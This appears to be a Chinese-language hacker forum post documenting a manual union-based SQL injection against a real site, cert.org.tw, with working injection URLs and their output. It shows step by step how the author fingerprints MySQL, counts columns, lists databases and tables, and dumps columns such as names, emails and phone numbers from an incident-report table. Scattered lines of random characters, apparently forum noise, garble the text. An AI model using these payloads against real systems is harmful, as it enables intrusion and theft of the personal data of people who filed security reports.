1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询
7 c3 o* T: u1 B0 i6 l; O2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解+ e6 [ O% ~3 s/ X' `- a
http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--' i/ }& V& N: \
3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
% `0 A1 G" K) j' N1 k' \7 \数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。+ O) C9 O# B% E% A5 i+ e
4.判断有没有写权限
. e# e$ r4 u- s% Uhttp://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限
5 ?0 V2 z6 P; E1 S4 r6 k- H没办法,手动猜表啦
1 n7 {/ ]( N5 N) o5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1, r9 k! ^" W2 j& Q
但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下- N2 a9 Y# } u
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
, B' T5 `2 Z) Q% H成功查出所有数据库,国外的黑客就是不一般。数据库如下:; j# K. |8 h1 O; l7 B
information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb
/ r* Y0 t, N! G6 v9 Y7 X3 M) E& S6.爆表,爆的是twcert库6 M5 `5 b8 i7 L' x) h+ S( x
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
6 v4 e' B+ V2 j2 d2 k, f6 q$ R5 ]) G9 X爆出如下表! [4 q, j s3 c$ r; v Q' p! H& H
downloadfile,irsys,newsdata,secrpt,secrpt_big5
) T% f# }' q: _/ F7.爆列名,这次爆的是irsys表
* z3 c& Q! q. g1 Vhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--/ I/ y. j; N6 V! ~) N
爆出如下列4 L! |% }+ t4 s. C: i' N9 m2 ?
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
: i* S E" R( `7 \, m& l8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。# l( o# g8 b9 |' y0 R0 @% o! |
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--, V$ J/ P" q7 C+ c
返回是3,说明每个列里有3个地段+ D5 F- B6 B% d6 T8 D; _5 Y
9.爆字段内容. ~+ e7 Q( p! v4 L% G2 x4 h/ g' K
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
9 ~5 [4 }0 h8 ? c爆出name列的第一个字段的内容
; V3 ^% H9 f M) c3 ohttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
) N. M* Q3 [4 w) d7 ?2 y爆出name列的第二个字段的内容 |